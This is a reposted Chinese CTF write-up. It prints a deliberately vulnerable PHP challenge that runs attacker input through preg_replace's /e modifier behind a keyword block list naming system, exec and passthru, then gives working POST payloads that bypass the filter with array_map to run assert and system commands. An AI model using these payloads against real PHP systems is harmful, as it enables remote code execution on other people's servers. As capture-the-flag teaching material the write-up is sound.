<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
1、分析源码
需要利用的函数是preg_replace(),使用了/e修饰符,当第一个参数的字符串在第三个参数中检测到时,会将第二个参数作为php代码执行,且使用了/i的修饰符,大小写不敏感
2、需要绕过正则匹配
①能直接用的命令执行函数基本上都被过滤了,限制了flag字符串长度,并且过滤了preg_replace()中的please_give_me_flag,但是没有使用/i大小写不敏感,所以可以用大写绕过 task参数传入的为我们需要执行的代码,
②flag参数传入含有please_give_me_flag的字符串 查阅可以进行RCE的函数,发现还有一个array_map()可以使用 array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如
&arr = array('phpinfo()');
array_map('assert',&arr);
就可以执行phpinfo()
由于task参数被限制,可以添加$_POST['a']来执行任意代码
payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
执行成功,开始找flag,用system(
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls /
最后查看flag
本篇文章为转载内容,跟着原作者步骤复盘,在这感谢moran师傅
# 原作者作者(Author):moran
# 链接(URL):https://blog.moran233.xyz/index.php/2024/05/14/83/moran/
# 来源(Source):moranのblog